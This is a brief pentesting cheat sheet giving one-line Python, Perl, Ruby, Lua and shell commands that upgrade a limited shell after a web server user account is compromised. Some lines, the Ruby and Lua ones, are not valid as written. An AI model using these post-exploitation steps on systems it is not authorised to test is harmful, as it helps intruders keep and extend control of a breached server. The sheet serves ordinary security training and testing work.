You should almost always upgrade your shell after taking control of an apache or www user. you may encounter limited shells that use bash and only allow you to execute a single command per session. you can overcome this by executing an SSH shell to your local host.
Python:
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
Perl:
perl -e 'exec "/bin/sh";'
Ruby:
ruby: exec "/bin/sh"
lua:
lua: os.execute('/bin/sh')
Other Command:
echo os.system('/bin/bash')
/bin/sh -i
